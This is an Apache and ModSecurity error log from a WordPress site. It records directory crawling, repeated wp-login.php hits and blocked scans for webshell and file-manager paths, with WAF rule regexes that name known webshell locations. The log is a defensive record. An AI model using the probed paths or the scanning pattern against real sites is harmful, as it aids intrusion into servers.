[Sat Nov 22 17:57:39.202880 2025] [autoindex:error] [pid 44259:tid 44283] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:41.889446 2025] [autoindex:error] [pid 44259:tid 44263] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:42.444098 2025] [autoindex:error] [pid 44259:tid 44265] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:45.023730 2025] [autoindex:error] [pid 44259:tid 44283] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:47.638562 2025] [autoindex:error] [pid 44259:tid 44270] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:50.599744 2025] [autoindex:error] [pid 44259:tid 44271] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:59.342401 2025] [autoindex:error] [pid 44259:tid 44275] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:58:13.258716 2025] [autoindex:error] [pid 44259:tid 44265] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:58:22.706630 2025] [autoindex:error] [pid 44259:tid 44278] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:58:26.095099 2025] [autoindex:error] [pid 44259:tid 44280] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:58:27.100437 2025] [autoindex:error] [pid 44259:tid 44275] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:59:31.426920 2025] [autoindex:error] [pid 44259:tid 44265] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:59:36.122810 2025] [autoindex:error] [pid 44259:tid 44286] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/social-links/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 18:00:13.575636 2025] [autoindex:error] [pid 44259:tid 44279] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Ge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 23:20:32.114192 2025] [:error] [pid 9547:tid 9574] [client 106.119.167.146:47974] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSHUwNClOR5qk7DoMeEbdgAAAVU"]
[Sun Nov 23 00:44:25.077602 2025] [:error] [pid 39719:tid 39786] [client 54.242.147.178:11276] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSHoaRmP4k0tY5Yex-W2ZAAAAQo"], referer: https://www.google.com
[Sun Nov 23 00:44:36.253229 2025] [:error] [pid 39719:tid 39778] [client 54.242.147.178:47164] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSHodBmP4k0tY5Yex-W2cAAAAQI"], referer: https://www.google.com
[Sun Nov 23 00:53:56.289890 2025] [:error] [pid 39713:tid 39723] [client 54.242.147.178:61088] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp/wp-login.php"] [unique_id "aSHqpEUgrb325CIAjPqJ_QAAAAI"], referer: https://www.google.com
[Sun Nov 23 00:54:01.152518 2025] [:error] [pid 39718:tid 39752] [client 54.242.147.178:47229] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp/wp-login.php"] [unique_id "aSHqqQQ3B_uDoeItNmNbEgAAAEM"], referer: https://www.google.com
[Sun Nov 23 00:54:04.609485 2025] [:error] [pid 39719:tid 39780] [client 54.242.147.178:49610] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp/wp-login.php"] [unique_id "aSHqrBmP4k0tY5Yex-W5NQAAAQQ"], referer: https://www.google.com
[Sun Nov 23 01:03:21.059971 2025] [:error] [pid 8816:tid 8906] [client 54.242.147.178:41774] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aSHs2Zb4RIAN-_BXnHlM3wAAAJU"], referer: https://www.google.com
[Sun Nov 23 01:03:25.642771 2025] [:error] [pid 39942:tid 40017] [client 54.242.147.178:16129] [client 54.242.147.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.242.147.178, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aSHs3aNupsOsQf9D2gxPGwAAAVY"], referer: https://www.google.com
[Sun Nov 23 05:45:07.618676 2025] [:error] [pid 44652:tid 44725] [client 106.227.49.113:46103] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSIu49iQFwsyXQDhwyDN6QAAARM"]
[Sun Nov 23 11:54:48.589377 2025] [:error] [pid 38740:tid 38811] [client 172.161.94.9:10579] [client 172.161.94.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSKFiA13QPZSi6O8umUPRAAAAI8"]
[Sun Nov 23 11:54:50.531294 2025] [:error] [pid 38739:tid 38774] [client 172.161.94.9:49625] [client 172.161.94.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSKFigdvEgJm2n2cDmqujwAAAEU"]
[Sun Nov 23 11:54:53.076177 2025] [:error] [pid 38740:tid 38817] [client 172.161.94.9:55097] [client 172.161.94.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSKFjQ13QPZSi6O8umUPSAAAAJU"]
[Sun Nov 23 11:54:55.934515 2025] [:error] [pid 38824:tid 38846] [client 172.161.94.9:55040] [client 172.161.94.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSKFj08WZjXLvbHTHPdAjQAAANM"]
[Sun Nov 23 16:35:12.907963 2025] [:error] [pid 38740:tid 38799] [client 140.99.1.5:36227] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSLHQA13QPZSi6O8umVp9wAAAIM"]
[Sun Nov 23 16:35:18.553527 2025] [:error] [pid 38824:tid 38846] [client 140.99.1.78:59713] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSLHRk8WZjXLvbHTHPeOiAAAANM"]
[Sun Nov 23 16:35:31.116806 2025] [:error] [pid 38738:tid 38762] [client 140.99.1.37:64505] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSLHUwytc6TL9XavPmPRCwAAABQ"]
[Sun Nov 23 16:35:43.099242 2025] [:error] [pid 38739:tid 38788] [client 140.99.1.47:48873] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSLHXwdvEgJm2n2cDmoDGAAAAFM"]
[Sun Nov 23 16:35:57.794301 2025] [:error] [pid 38738:tid 38766] [client 140.99.1.14:64053] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSLHbQytc6TL9XavPmPUZgAAABg"]
[Sun Nov 23 16:36:02.806363 2025] [:error] [pid 38738:tid 38760] [client 140.99.1.14:38931] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSLHcgytc6TL9XavPmPVIQAAABI"]
[Sun Nov 23 16:36:03.014954 2025] [:error] [pid 38739:tid 38788] [client 140.99.1.6:62583] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSLHcwdvEgJm2n2cDmoFIgAAAFM"]
[Sun Nov 23 16:36:03.321313 2025] [:error] [pid 44652:tid 44726] [client 140.99.1.75:60809] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSLHc9iQFwsyXQDhwyCNKgAAARQ"]
[Sun Nov 23 16:36:03.526255 2025] [:error] [pid 44652:tid 44719] [client 140.99.1.3:27857] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSLHc9iQFwsyXQDhwyCNLwAAAQ0"]
[Sun Nov 23 16:36:03.712799 2025] [:error] [pid 38738:tid 38753] [client 140.99.1.69:50315] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSLHcwytc6TL9XavPmPVPQAAAAs"]
[Sun Nov 23 16:36:07.754670 2025] [:error] [pid 44652:tid 44715] [client 140.99.1.49:44321] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSLHd9iQFwsyXQDhwyCNlAAAAQk"]
[Sun Nov 23 16:36:12.181627 2025] [:error] [pid 38824:tid 38827] [client 140.99.1.8:23617] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aSLHfE8WZjXLvbHTHPeVDwAAAMA"]
[Sun Nov 23 16:36:21.075558 2025] [:error] [pid 38738:tid 38744] [client 140.99.1.30:45945] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSLHhQytc6TL9XavPmPXWAAAAAI"]
[Sun Nov 23 16:36:24.648691 2025] [:error] [pid 38738:tid 38750] [client 140.99.1.46:54903] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSLHiAytc6TL9XavPmPX4AAAAAg"]
[Sun Nov 23 16:36:29.262064 2025] [:error] [pid 38740:tid 38804] [client 140.99.1.28:52843] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSLHjQ13QPZSi6O8umVzkQAAAIg"]
[Sun Nov 23 16:36:53.905977 2025] [:error] [pid 38740:tid 38799] [client 140.99.1.71:44527] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSLHpQ13QPZSi6O8umV2IgAAAIM"]
[Sun Nov 23 16:37:02.481003 2025] [:error] [pid 38740:tid 38815] [client 140.99.1.77:43197] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSLHrg13QPZSi6O8umV23QAAAJM"]
[Sun Nov 23 16:37:08.292306 2025] [:error] [pid 38738:tid 38744] [client 140.99.1.30:53823] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSLHtAytc6TL9XavPmPdPwAAAAI"]
[Sun Nov 23 16:37:12.663323 2025] [:error] [pid 38739:tid 38788] [client 140.99.1.69:39583] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSLHuAdvEgJm2n2cDmoN9gAAAFM"]
[Sun Nov 23 16:37:36.724999 2025] [:error] [pid 44652:tid 44726] [client 140.99.1.76:40375] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSLH0NiQFwsyXQDhwyCW1wAAARQ"]
[Sun Nov 23 16:37:43.761244 2025] [:error] [pid 44652:tid 44711] [client 140.99.1.14:55431] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSLH19iQFwsyXQDhwyCXWgAAAQU"]
[Sun Nov 23 16:37:51.132794 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.52:56751] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSLH3wytc6TL9XavPmPh0AAAAAc"]
[Sun Nov 23 16:37:57.812088 2025] [:error] [pid 14602:tid 14631] [client 140.99.1.52:63585] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSLH5R-I77jdD81pU-l-_AAAAUo"]
[Sun Nov 23 16:37:57.993669 2025] [:error] [pid 38740:tid 38800] [client 140.99.1.10:48227] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSLH5Q13QPZSi6O8umV84AAAAIQ"]
[Sun Nov 23 16:38:17.292360 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.28:51335] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSLH-diQFwsyXQDhwyCZdgAAARU"]
